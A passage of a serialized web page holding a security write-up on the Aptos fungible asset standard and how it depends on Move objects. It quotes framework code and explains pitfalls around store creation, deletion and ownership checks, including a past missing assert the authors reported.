register",{"type":23,"tag":41,"props":62648,"children":62649},{"style":70},[62650],{"type":28,"value":3461},{"type":23,"tag":41,"props":62652,"children":62653},{"class":43,"line":54},[62654,62659,62663,62667,62671,62675,62679],{"type":23,"tag":41,"props":62655,"children":62656},{"style":858},[62657],{"type":28,"value":62658},"    user",{"type":23,"tag":41,"props":62660,"children":62661},{"style":170},[62662],{"type":28,"value":1474},{"type":23,"tag":41,"props":62664,"children":62665},{"style":170},[62666],{"type":28,"value":7140},{"type":23,"tag":41,"props":62668,"children":62669},{"style":858},[62670],{"type":28,"value":7145},{"type":23,"tag":41,"props":62672,"children":62673},{"style":70},[62674],{"type":28,"value":44130},{"type":23,"tag":41,"props":62676,"children":62677},{"style":170},[62678],{"type":28,"value":9589},{"type":23,"tag":41,"props":62680,"children":62681},{"style":70},[62682],{"type":28,"value":11769},{"type":23,"tag":41,"props":62684,"children":62685},{"class":43,"line":76},[62686,62690,62694,62698,62702],{"type":23,"tag":41,"props":62687,"children":62688},{"style":70},[62689],{"type":28,"value":866},{"type":23,"tag":41,"props":62691,"children":62692},{"style":858},[62693],{"type":28,"value":6342},{"type":23,"tag":41,"props":62695,"children":62696},{"style":70},[62697],{"type":28,"value":23019},{"type":23,"tag":41,"props":62699,"children":62700},{"style":170},[62701],{"type":28,"value":9589},{"type":23,"tag":41,"props":62703,"children":62704},{"style":70},[62705],{"type":28,"value":61762},{"type":23,"tag":41,"props":62707,"children":62708},{"class":43,"line":85},[62709,62714,62718],{"type":23,"tag":41,"props":62710,"children":62711},{"style":70},[62712],{"type":28,"value":62713},"    [",{"type":23,"tag":41,"props":62715,"children":62716},{"style":170},[62717],{"type":28,"value":9589},{"type":23,"tag":41,"props":62719,"children":62720},{"style":70},[62721],{"type":28,"value":11769},{"type":23,"tag":41,"props":62723,"children":62724},{"class":43,"line":105},[62725,62729,62734,62738,62743,62747,62751,62755,62759,62763,62767,62772],{"type":23,"tag":41,"props":62726,"children":62727},{"style":64},[62728],{"type":28,"value":3002},{"type":23,"tag":41,"props":62730,"children":62731},{"style":858},[62732],{"type":28,"value":62733}," wallet_store",{"type":23,"tag":41,"props":62735,"children":62736},{"style":170},[62737],{"type":28,"value":3017},{"type":23,"tag":41,"props":62739,"children":62740},{"style":114},[62741],{"type":28,"value":62742}," create_primary_store",{"type":23,"tag":41,"props":62744,"children":62745},{"style":70},[62746],{"type":28,"value":7199},{"type":23,"tag":41,"props":62748,"children":62749},{"style":170},[62750],{"type":28,"value":3479},{"type":23,"tag":41,"props":62752,"children":62753},{"style":114},[62754],{"type":28,"value":7208},{"type":23,"tag":41,"props":62756,"children":62757},{"style":70},[62758],{"type":28,"value":1737},{"type":23,"tag":41,"props":62760,"children":62761},{"style":858},[62762],{"type":28,"value":61856},{"type":23,"tag":41,"props":62764,"children":62765},{"style":70},[62766],{"type":28,"value":15169},{"type":23,"tag":41,"props":62768,"children":62769},{"style":114},[62770],{"type":28,"value":62771},"get_metadata",{"type":23,"tag":41,"props":62773,"children":62774},{"style":70},[62775],{"type":28,"value":15416},{"type":23,"tag":41,"props":62777,"children":62778},{"class":43,"line":155},[62779,62783,62787],{"type":23,"tag":41,"props":62780,"children":62781},{"style":70},[62782],{"type":28,"value":62713},{"type":23,"tag":41,"props":62784,"children":62785},{"style":170},[62786],{"type":28,"value":9589},{"type":23,"tag":41,"props":62788,"children":62789},{"style":70},[62790],{"type":28,"value":11769},{"type":23,"tag":41,"props":62792,"children":62793},{"class":43,"line":186},[62794],{"type":23,"tag":41,"props":62795,"children":62796},{"style":70},[62797],{"type":28,"value":201},{"type":23,"tag":24,"props":62799,"children":62800},{},[62801,62802,62808,62810,62816],{"type":28,"value":16601},{"type":23,"tag":37,"props":62803,"children":62805},{"className":62804},[],[62806],{"type":28,"value":62807},"create_primary_store",{"type":28,"value":62809}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":37,"props":62811,"children":62813},{"className":62812},[],[62814],{"type":28,"value":62815},"ensure_primary_store_exists",{"type":28,"value":62817}," is recommended to avoid such issues.",{"type":23,"tag":446,"props":62819,"children":62821},{"id":62820},"fungible-assets-and-objects",[62822],{"type":28,"value":62823},"Fungible assets and objects",{"type":23,"tag":24,"props":62825,"children":62826},{},[62827,62829,62834,62836,62843],{"type":28,"value":62828},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":37,"props":62830,"children":62832},{"className":62831},[],[62833],{"type":28,"value":48845},{"type":28,"value":62835}," module, introduced in ",{"type":23,"tag":458,"props":62837,"children":62840},{"href":62838,"rel":62839},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[462],[62841],{"type":28,"value":62842},"AIP-10",{"type":28,"value":706},{"type":23,"tag":518,"props":62845,"children":62846},{},[62847],{"type":23,"tag":24,"props":62848,"children":62849},{},[62850,62854],{"type":23,"tag":41,"props":62851,"children":62852},{},[62853],{"type":28,"value":61447},{"type":28,"value":62855}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":62857,"children":62858},{},[62859],{"type":28,"value":62860},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":546,"props":62862,"children":62864},{"id":62863},"creation-and-deletion",[62865],{"type":28,"value":62866},"Creation and deletion",{"type":23,"tag":24,"props":62868,"children":62869},{},[62870,62872,62878],{"type":28,"value":62871},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":37,"props":62873,"children":62875},{"className":62874},[],[62876],{"type":28,"value":62877},"fungible_asset::add_fungibility",{"type":28,"value":1474},{"type":23,"tag":31,"props":62880,"children":62882},{"className":2982,"code":62881,"language":2981,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[62883],{"type":23,"tag":37,"props":62884,"children":62885},{"__ignoreMap":7},[62886],{"type":23,"tag":41,"props":62887,"children":62888},{"class":43,"line":44},[62889,62893,62897,62901,62906,62910,62915,62919,62924,62929,62933,62937],{"type":23,"tag":41,"props":62890,"children":62891},{"style":114},[62892],{"type":28,"value":41975},{"type":23,"tag":41,"props":62894,"children":62895},{"style":70},[62896],{"type":28,"value":1737},{"type":23,"tag":41,"props":62898,"children":62899},{"style":170},[62900],{"type":28,"value":2630},{"type":23,"tag":41,"props":62902,"children":62903},{"style":70},[62904],{"type":28,"value":62905},"object",{"type":23,"tag":41,"props":62907,"children":62908},{"style":170},[62909],{"type":28,"value":3479},{"type":23,"tag":41,"props":62911,"children":62912},{"style":114},[62913],{"type":28,"value":62914},"can_generate_delete_ref",{"type":23,"tag":41,"props":62916,"children":62917},{"style":70},[62918],{"type":28,"value":1737},{"type":23,"tag":41,"props":62920,"children":62921},{"style":858},[62922],{"type":28,"value":62923},"constructor_ref",{"type":23,"tag":41,"props":62925,"children":62926},{"style":70},[62927],{"type":28,"value":62928},"), error",{"type":23,"tag":41,"props":62930,"children":62931},{"style":170},[62932],{"type":28,"value":3479},{"type":23,"tag":41,"props":62934,"children":62935},{"style":114},[62936],{"type":28,"value":62369},{"type":23,"tag":41,"props":62938,"children":62939},{"style":70},[62940],{"type":28,"value":62941},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":62943,"children":62944},{},[62945,62947,62952,62954,62959,62960,62967],{"type":28,"value":62946},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":37,"props":62948,"children":62950},{"className":62949},[],[62951],{"type":28,"value":61508},{"type":28,"value":62953},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":37,"props":62955,"children":62957},{"className":62956},[],[62958],{"type":28,"value":62877},{"type":28,"value":6456},{"type":23,"tag":458,"props":62961,"children":62964},{"href":62962,"rel":62963},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[462],[62965],{"type":28,"value":62966},"lacked this assert",{"type":28,"value":62968},", which we discovered and reported.",{"type":23,"tag":24,"props":62970,"children":62971},{},[62972,62977,62979,62984,62986,62991],{"type":23,"tag":37,"props":62973,"children":62975},{"className":62974},[],[62976],{"type":28,"value":62877},{"type":28,"value":62978}," transfers the ",{"type":23,"tag":37,"props":62980,"children":62982},{"className":62981},[],[62983],{"type":28,"value":61567},{"type":28,"value":62985}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":37,"props":62987,"children":62989},{"className":62988},[],[62990],{"type":28,"value":61508},{"type":28,"value":62992}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":31,"props":62994,"children":62996},{"className":2982,"code":62995,"language":2981,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[62997],{"type":23,"tag":37,"props":62998,"children":62999},{"__ignoreMap":7},[63000,63008,63028,63043,63070,63085,63106,63118,63130,63142,63154,63166,63178,63185,63192,63207],{"type":23,"tag":41,"props":63001,"children":63002},{"class":43,"line":44},[63003],{"type":23,"tag":41,"props":63004,"children":63005},{"style":48},[63006],{"type":28,"value":63007},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":41,"props":63009,"children":63010},{"class":43,"line":54},[63011,63015,63019,63024],{"type":23,"tag":41,"props":63012,"children":63013},{"style":858},[63014],{"type":28,"value":127},{"type":23,"tag":41,"props":63016,"children":63017},{"style":858},[63018],{"type":28,"value":6205},{"type":23,"tag":41,"props":63020,"children":63021},{"style":114},[63022],{"type":28,"value":63023}," add_fungibility",{"type":23,"tag":41,"props":63025,"children":63026},{"style":70},[63027],{"type":28,"value":3461},{"type":23,"tag":41,"props":63029,"children":63030},{"class":43,"line":76},[63031,63035,63039],{"type":23,"tag":41,"props":63032,"children":63033},{"style":70},[63034],{"type":28,"value":62713},{"type":23,"tag":41,"props":63036,"children":63037},{"style":170},[63038],{"type":28,"value":9589},{"type":23,"tag":41,"props":63040,"children":63041},{"style":70},[63042],{"type":28,"value":11769},{"type":23,"tag":41,"props":63044,"children":63045},{"class":43,"line":85},[63046,63050,63054,63058,63062,63066],{"type":23,"tag":41,"props":63047,"children":63048},{"style":70},[63049],{"type":28,"value":2678},{"type":23,"tag":41,"props":63051,"children":63052},{"style":170},[63053],{"type":28,"value":1474},{"type":23,"tag":41,"props":63055,"children":63056},{"style":94},[63057],{"type":28,"value":61558},{"type":23,"tag":41,"props":63059,"children":63060},{"style":70},[63061],{"type":28,"value":1012},{"type":23,"tag":41,"props":63063,"children":63064},{"style":94},[63065],{"type":28,"value":61567},{"type":23,"tag":41,"props":63067,"children":63068},{"style":70},[63069],{"type":28,"value":7280},{"type":23,"tag":41,"props":63071,"children":63072},{"class":43,"line":105},[63073,63077,63081],{"type":23,"tag":41,"props":63074,"children":63075},{"style":70},[63076],{"type":28,"value":62713},{"type":23,"tag":41,"props":63078,"children":63079},{"style":170},[63080],{"type":28,"value":9589},{"type":23,"tag":41,"props":63082,"children":63083},{"style":70},[63084],{"type":28,"value":11769},{"type":23,"tag":41,"props":63086,"children":63087},{"class":43,"line":155},[63088,63093,63097,63102],{"type":23,"tag":41,"props":63089,"children":63090},{"style":114},[63091],{"type":28,"value":63092},"    move_to",{"type":23,"tag":41,"props":63094,"children":63095},{"style":70},[63096],{"type":28,"value":1737},{"type":23,"tag":41,"props":63098,"children":63099},{"style":858},[63100],{"type":28,"value":63101},"metadata_object_signer",{"type":23,"tag":41,"props":63103,"children":63104},{"style":70},[63105],{"type":28,"value":3506},{"type":23,"tag":41,"props":63107,"children":63108},{"class":43,"line":186},[63109,63114],{"type":23,"tag":41,"props":63110,"children":63111},{"style":94},[63112],{"type":28,"value":63113},"        Metadata",{"type":23,"tag":41,"props":63115,"children":63116},{"style":70},[63117],{"type":28,"value":102},{"type":23,"tag":41,"props":63119,"children":63120},{"class":43,"line":195},[63121,63126],{"type":23,"tag":41,"props":63122,"children":63123},{"style":858},[63124],{"type":28,"value":63125},"            name",{"type":23,"tag":41,"props":63127,"children":63128},{"style":70},[63129],{"type":28,"value":3506},{"type":23,"tag":41,"props":63131,"children":63132},{"class":43,"line":905},[63133,63138],{"type":23,"tag":41,"props":63134,"children":63135},{"style":858},[63136],{"type":28,"value":63137},"            symbol",{"type":23,"tag":41,"props":63139,"children":63140},{"style":70},[63141],{"type":28,"value":3506},{"type":23,"tag":41,"props":63143,"children":63144},{"class":43,"line":922},[63145,63150],{"type":23,"tag":41,"props":63146,"children":63147},{"style":858},[63148],{"type":28,"value":63149},"            decimals",{"type":23,"tag":41,"props":63151,"children":63152},{"style":70},[63153],{"type":28,"value":3506},{"type":23,"tag":41,"props":63155,"children":63156},{"class":43,"line":930},[63157,63162],{"type":23,"tag":41,"props":63158,"children":63159},{"style":858},[63160],{"type":28,"value":63161},"            icon_uri",{"type":23,"tag":41,"props":63163,"children":63164},{"style":70},[63165],{"type":28,"value":3506},{"type":23,"tag":41,"props":63167,"children":63168},{"class":43,"line":939},[63169,63174],{"type":23,"tag":41,"props":63170,"children":63171},{"style":858},[63172],{"type":28,"value":63173},"            project_uri",{"type":23,"tag":41,"props":63175,"children":63176},{"style":70},[63177],{"type":28,"value":3506},{"type":23,"tag":41,"props":63179,"children":63180},{"class":43,"line":947},[63181],{"type":23,"tag":41,"props":63182,"children":63183},{"style":70},[63184],{"type":28,"value":3347},{"type":23,"tag":41,"props":63186,"children":63187},{"class":43,"line":985},[63188],{"type":23,"tag":41,"props":63189,"children":63190},{"style":70},[63191],{"type":28,"value":43649},{"type":23,"tag":41,"props":63193,"children":63194},{"class":43,"line":1058},[63195,63199,63203],{"type":23,"tag":41,"props":63196,"children":63197},{"style":70},[63198],{"type":28,"value":312},{"type":23,"tag":41,"props":63200,"children":63201},{"style":170},[63202],{"type":28,"value":9589},{"type":23,"tag":41,"props":63204,"children":63205},{"style":70},[63206],{"type":28,"value":11769},{"type":23,"tag":41,"props":63208,"children":63209},{"class":43,"line":1084},[63210],{"type":23,"tag":41,"props":63211,"children":63212},{"style":70},[63213],{"type":28,"value":201},{"type":23,"tag":442,"props":63215,"children":63216},{},[],{"type":23,"tag":24,"props":63218,"children":63219},{},[63220,63222,63227,63229,63234],{"type":28,"value":63221},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":37,"props":63223,"children":63225},{"className":63224},[],[63226],{"type":28,"value":62071},{"type":28,"value":63228}," is also an object, and a \"secondary\" ",{"type":23,"tag":37,"props":63230,"children":63232},{"className":63231},[],[63233],{"type":28,"value":62071},{"type":28,"value":63235}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":31,"props":63237,"children":63239},{"className":2982,"code":63238,"language":2981,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[63240],{"type":23,"tag":37,"props":63241,"children":63242},{"__ignoreMap":7},[63243,63251,63293,63300,63308],{"type":23,"tag":41,"props":63244,"children":63245},{"class":43,"line":44},[63246],{"type":23,"tag":41,"props":63247,"children":63248},{"style":48},[63249],{"type":28,"value":63250},"//Fungible asset\n",{"type":23,"tag":41,"props":63252,"children":63253},{"class":43,"line":54},[63254,63258,63262,63267,63271,63276,63280,63284,63289],{"type":23,"tag":41,"props":63255,"children":63256},{"style":858},[63257],{"type":28,"value":127},{"type":23,"tag":41,"props":63259,"children":63260},{"style":858},[63261],{"type":28,"value":6205},{"type":23,"tag":41,"props":63263,"children":63264},{"style":114},[63265],{"type":28,"value":63266}," remove_store",{"type":23,"tag":41,"props":63268,"children":63269},{"style":70},[63270],{"type":28,"value":1737},{"type":23,"tag":41,"props":63272,"children":63273},{"style":858},[63274],{"type":28,"value":63275},"delete_ref",{"type":23,"tag":41,"props":63277,"children":63278},{"style":170},[63279],{"type":28,"value":1474},{"type":23,"tag":41,"props":63281,"children":63282},{"style":170},[63283],{"type":28,"value":7140},{"type":23,"tag":41,"props":63285,"children":63286},{"style":94},[63287],{"type":28,"value":63288},"DeleteRef",{"type":23,"tag":41,"props":63290,"children":63291},{"style":70},[63292],{"type":28,"value":1969},{"type":23,"tag":41,"props":63294,"children":63295},{"class":43,"line":76},[63296],{"type":23,"tag":41,"props":63297,"children":63298},{"emptyLinePlaceholder":18},[63299],{"type":28,"value":82},{"type":23,"tag":41,"props":63301,"children":63302},{"class":43,"line":85},[63303],{"type":23,"tag":41,"props":63304,"children":63305},{"style":48},[63306],{"type":28,"value":63307},"//Object\n",{"type":23,"tag":41,"props":63309,"children":63310},{"class":43,"line":105},[63311,63315,63319,63324,63328,63333,63337,63342],{"type":23,"tag":41,"props":63312,"children":63313},{"style":858},[63314],{"type":28,"value":127},{"type":23,"tag":41,"props":63316,"children":63317},{"style":858},[63318],{"type":28,"value":6205},{"type":23,"tag":41,"props":63320,"children":63321},{"style":114},[63322],{"type":28,"value":63323}," delete",{"type":23,"tag":41,"props":63325,"children":63326},{"style":70},[63327],{"type":28,"value":1737},{"type":23,"tag":41,"props":63329,"children":63330},{"style":64},[63331],{"type":28,"value":63332},"ref",{"type":23,"tag":41,"props":63334,"children":63335},{"style":170},[63336],{"type":28,"value":1474},{"type":23,"tag":41,"props":63338,"children":63339},{"style":94},[63340],{"type":28,"value":63341}," DeleteRef",{"type":23,"tag":41,"props":63343,"children":63344},{"style":70},[63345],{"type":28,"value":1969},{"type":23,"tag":24,"props":63347,"children":63348},{},[63349,63351,63357,63359,63364,63366,63371,63373,63378,63380,63386,63388,63394,63396,63401],{"type":28,"value":63350},"When ",{"type":23,"tag":37,"props":63352,"children":63354},{"className":63353},[],[63355],{"type":28,"value":63356},"object::delete",{"type":28,"value":63358}," removes the ",{"type":23,"tag":37,"props":63360,"children":63362},{"className":63361},[],[63363],{"type":28,"value":48845},{"type":28,"value":63365}," from a ",{"type":23,"tag":37,"props":63367,"children":63369},{"className":63368},[],[63370],{"type":28,"value":62071},{"type":28,"value":63372}," object, the ",{"type":23,"tag":37,"props":63374,"children":63376},{"className":63375},[],[63377],{"type":28,"value":62071},{"type":28,"value":63379}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":37,"props":63381,"children":63383},{"className":63382},[],[63384],{"type":28,"value":63385},"remove_store",{"type":28,"value":63387}," can't create an ",{"type":23,"tag":37,"props":63389,"children":63391},{"className":63390},[],[63392],{"type":28,"value":63393},"Object\u003CFungibleStore>",{"type":28,"value":63395}," without an ",{"type":23,"tag":37,"props":63397,"children":63399},{"className":63398},[],[63400],{"type":28,"value":48845},{"type":28,"value":63402}," underneath, causing the operation to fail.",{"type":23,"tag":31,"props":63404,"children":63406},{"className":2982,"code":63405,"language":2981,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[63407],{"type":23,"tag":37,"props":63408,"children":63409},{"__ignoreMap":7},[63410,63465,63517,63532],{"type":23,"tag":41,"props":63411,"children":63412},{"class":43,"line":44},[63413,63417,63421,63425,63429,63433,63437,63441,63445,63449,63453,63457,63461],{"type":23,"tag":41,"props":63414,"children":63415},{"style":858},[63416],{"type":28,"value":127},{"type":23,"tag":41,"props":63418,"children":63419},{"style":858},[63420],{"type":28,"value":6205},{"type":23,"tag":41,"props":63422,"children":63423},{"style":114},[63424],{"type":28,"value":63266},{"type":23,"tag":41,"props":63426,"children":63427},{"style":70},[63428],{"type":28,"value":1737},{"type":23,"tag":41,"props":63430,"children":63431},{"style":858},[63432],{"type":28,"value":63275},{"type":23,"tag":41,"props":63434,"children":63435},{"style":170},[63436],{"type":28,"value":1474},{"type":23,"tag":41,"props":63438,"children":63439},{"style":170},[63440],{"type":28,"value":7140},{"type":23,"tag":41,"props":63442,"children":63443},{"style":94},[63444],{"type":28,"value":63288},{"type":23,"tag":41,"props":63446,"children":63447},{"style":70},[63448],{"type":28,"value":866},{"type":23,"tag":41,"props":63450,"children":63451},{"style":858},[63452],{"type":28,"value":6342},{"type":23,"tag":41,"props":63454,"children":63455},{"style":70},[63456],{"type":28,"value":23019},{"type":23,"tag":41,"props":63458,"children":63459},{"style":170},[63460],{"type":28,"value":9589},{"type":23,"tag":41,"props":63462,"children":63463},{"style":70},[63464],{"type":28,"value":61762},{"type":23,"tag":41,"props":63466,"children":63467},{"class":43,"line":54},[63468,63472,63476,63480,63484,63488,63492,63497,63501,63505,63509,63513],{"type":23,"tag":41,"props":63469,"children":63470},{"style":64},[63471],{"type":28,"value":3002},{"type":23,"tag":41,"props":63473,"children":63474},{"style":858},[63475],{"type":28,"value":5831},{"type":23,"tag":41,"props":63477,"children":63478},{"style":170},[63479],{"type":28,"value":3017},{"type":23,"tag":41,"props":63481,"children":63482},{"style":170},[63483],{"type":28,"value":7140},{"type":23,"tag":41,"props":63485,"children":63486},{"style":70},[63487],{"type":28,"value":62905},{"type":23,"tag":41,"props":63489,"children":63490},{"style":170},[63491],{"type":28,"value":3479},{"type":23,"tag":41,"props":63493,"children":63494},{"style":858},[63495],{"type":28,"value":63496},"object_from_delete_ref",{"type":23,"tag":41,"props":63498,"children":63499},{"style":70},[63500],{"type":28,"value":1012},{"type":23,"tag":41,"props":63502,"children":63503},{"style":94},[63504],{"type":28,"value":62071},{"type":23,"tag":41,"props":63506,"children":63507},{"style":70},[63508],{"type":28,"value":7610},{"type":23,"tag":41,"props":63510,"children":63511},{"style":858},[63512],{"type":28,"value":63275},{"type":23,"tag":41,"props":63514,"children":63515},{"style":70},[63516],{"type":28,"value":3825},{"type":23,"tag":41,"props":63518,"children":63519},{"class":43,"line":76},[63520,63524,63528],{"type":23,"tag":41,"props":63521,"children":63522},{"style":70},[63523],{"type":28,"value":62713},{"type":23,"tag":41,"props":63525,"children":63526},{"style":170},[63527],{"type":28,"value":9589},{"type":23,"tag":41,"props":63529,"children":63530},{"style":70},[63531],{"type":28,"value":11769},{"type":23,"tag":41,"props":63533,"children":63534},{"class":43,"line":85},[63535],{"type":23,"tag":41,"props":63536,"children":63537},{"style":70},[63538],{"type":28,"value":201},{"type":23,"tag":24,"props":63540,"children":63541},{},[63542,63544,63549,63551,63557,63559,63564],{"type":28,"value":63543},"In addition, such \"deleted\" ",{"type":23,"tag":37,"props":63545,"children":63547},{"className":63546},[],[63548],{"type":28,"value":62071},{"type":28,"value":63550}," objects remain at least partially operable. For instance, ",{"type":23,"tag":37,"props":63552,"children":63554},{"className":63553},[],[63555],{"type":28,"value":63556},"fungible_asset::deposit",{"type":28,"value":63558}," does not check the ",{"type":23,"tag":37,"props":63560,"children":63562},{"className":63561},[],[63563],{"type":28,"value":48845},{"type":28,"value":63565}," existence.",{"type":23,"tag":546,"props":63567,"children":63569},{"id":63568},"ownership",[63570],{"type":28,"value":63571},"Ownership",{"type":23,"tag":24,"props":63573,"children":63574},{},[63575,63577,63582,63584,63590,63592,63597],{"type":28,"value":63576},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":37,"props":63578,"children":63580},{"className":63579},[],[63581],{"type":28,"value":48845},{"type":28,"value":63583}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":37,"props":63585,"children":63587},{"className":63586},[],[63588],{"type":28,"value":63589},"object::owns",{"type":28,"value":63591}," to confirm ownership of the ",{"type":23,"tag":37,"props":63593,"children":63595},{"className":63594},[],[63596],{"type":28,"value":62071},{"type":28,"value":50171},{"type":23,"tag":31,"props":63599,"children":63601},{"className":2982,"code":63600,"language":2981,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[63602],{"type":23,"tag":37,"props":63603,"children":63604},{"__ignoreMap":7},[63605,63653,63677,63704,63724,63752,63820,63835],{"type":23,"tag":41,"props":63606,"children":63607},{"class":43,"line":44},[63608,63612,63616,63620,63624,63628,63633,63637,63641,63645,63649],{"type":23,"tag":41,"props":63609,"children":63610},{"style":114},[63611],{"type":28,"value":127},{"type":23,"tag":41,"props":63613,"children":63614},{"style":70},[63615],{"type":28,"value":1737},{"type":23,"tag":41,"props":63617,"children":63618},{"style":858},[63619],{"type":28,"value":7097},{"type":23,"tag":41,"props":63621,"children":63622},{"style":70},[63623],{"type":28,"value":866},{"type":23,"tag":41,"props":63625,"children":63626},{"style":858},[63627],{"type":28,"value":7106},{"type":23,"tag":41,"props":63629,"children":63630},{"style":858},[63631],{"type":28,"value":63632}," withdraw_sanity_check",{"type":23,"tag":41,"props":63634,"children":63635},{"style":70},[63636],{"type":28,"value":1012},{"type":23,"tag":41,"props":63638,"children":63639},{"style":94},[63640],{"type":28,"value":1634},{"type":23,"tag":41,"props":63642,"children":63643},{"style":170},[63644],{"type":28,"value":1474},{"type":23,"tag":41,"props":63646,"children":63647},{"style":858},[63648],{"type":28,"value":5931},{"type":23,"tag":41,"props":63650,"children":63651},{"style":70},[63652],{"type":28,"value":6587},{"type":23,"tag":41,"props":63654,"children":63655},{"class":43,"line":54},[63656,63661,63665,63669,63673],{"type":23,"tag":41,"props":63657,"children":63658},{"style":858},[63659],{"type":28,"value":63660},"    owner",{"type":23,"tag":41,"props":63662,"children":63663},{"style":170},[63664],{"type":28,"value":1474},{"type":23,"tag":41,"props":63666,"children":63667},{"style":170},[63668],{"type":28,"value":7140},{"type":23,"tag":41,"props":63670,"children":63671},{"style":858},[63672],{"type":28,"value":7145},{"type":23,"tag":41,"props":63674,"children":63675},{"style":70},[63676],{"type":28,"value":3506},{"type":23,"tag":41,"props":63678,"children":63679},{"class":43,"line":76},[63680,63684,63688,63692,63696,63700],{"type":23,"tag":41,"props":63681,"children":63682},{"style":858},[63683],{"type":28,"value":29410},{"type":23,"tag":41,"props":63685,"children":63686},{"style":170},[63687],{"type":28,"value":1474},{"type":23,"tag":41,"props":63689,"children":63690},{"style":94},[63691],{"type":28,"value":61558},{"type":23,"tag":41,"props":63693,"children":63694},{"style":70},[63695],{"type":28,"value":1012},{"type":23,"tag":41,"props":63697,"children":63698},{"style":94},[63699],{"type":28,"value":1634},{"type":23,"tag":41,"props":63701,"children":63702},{"style":70},[63703],{"type":28,"value":6136},{"type":23,"tag":41,"props":63705,"children":63706},{"class":43,"line":85},[63707,63712,63716,63720],{"type":23,"tag":41,"props":63708,"children":63709},{"style":858},[63710],{"type":28,"value":63711},"    abort_on_dispatch",{"type":23,"tag":41,"props":63713,"children":63714},{"style":170},[63715],{"type":28,"value":1474},{"type":23,"tag":41,"props":63717,"children":63718},{"style":94},[63719],{"type":28,"value":12047},{"type":23,"tag":41,"props":63721,"children":63722},{"style":70},[63723],{"type":28,"value":3506},{"type":23,"tag":41,"props":63725,"children":63726},{"class":43,"line":105},[63727,63731,63735,63739,63743,63748],{"type":23,"tag":41,"props":63728,"children":63729},{"style":70},[63730],{"type":28,"value":866},{"type":23,"tag":41,"props":63732,"children":63733},{"style":858},[63734],{"type":28,"value":6342},{"type":23,"tag":41,"props":63736,"children":63737},{"style":94},[63738],{"type":28,"value":62091},{"type":23,"tag":41,"props":63740,"children":63741},{"style":70},[63742],{"type":28,"value":970},{"type":23,"tag":41,"props":63744,"children":63745},{"style":94},[63746],{"type":28,"value":63747},"DispatchFunctionStore",{"type":23,"tag":41,"props":63749,"children":63750},{"style":70},[63751],{"type":28,"value":102},{"type":23,"tag":41,"props":63753,"children":63754},{"class":43,"line":155},[63755,63759,63764,63768,63773,63777,63781,63785,63789,63793,63797,63801,63806,63810,63815],{"type":23,"tag":41,"props":63756,"children":63757},{"style":114},[63758],{"type":28,"value":62339},{"type":23,"tag":41,"props":63760,"children":63761},{"style":70},[63762],{"type":28,"value":63763},"(object",{"type":23,"tag":41,"props":63765,"children":63766},{"style":170},[63767],{"type":28,"value":3479},{"type":23,"tag":41,"props":63769,"children":63770},{"style":114},[63771],{"type":28,"value":63772},"owns",{"type":23,"tag":41,"props":63774,"children":63775},{"style":70},[63776],{"type":28,"value":1737},{"type":23,"tag":41,"props":63778,"children":63779},{"style":858},[63780],{"type":28,"value":5940},{"type":23,"tag":41,"props":63782,"children":63783},{"style":70},[63784],{"type":28,"value":12931},{"type":23,"tag":41,"props":63786,"children":63787},{"style":170},[63788],{"type":28,"value":3479},{"type":23,"tag":41,"props":63790,"children":63791},{"style":114},[63792],{"type":28,"value":7208},{"type":23,"tag":41,"props":63794,"children":63795},{"style":70},[63796],{"type":28,"value":1737},{"type":23,"tag":41,"props":63798,"children":63799},{"style":858},[63800],{"type":28,"value":15600},{"type":23,"tag":41,"props":63802,"children":63803},{"style":70},[63804],{"type":28,"value":63805},")), 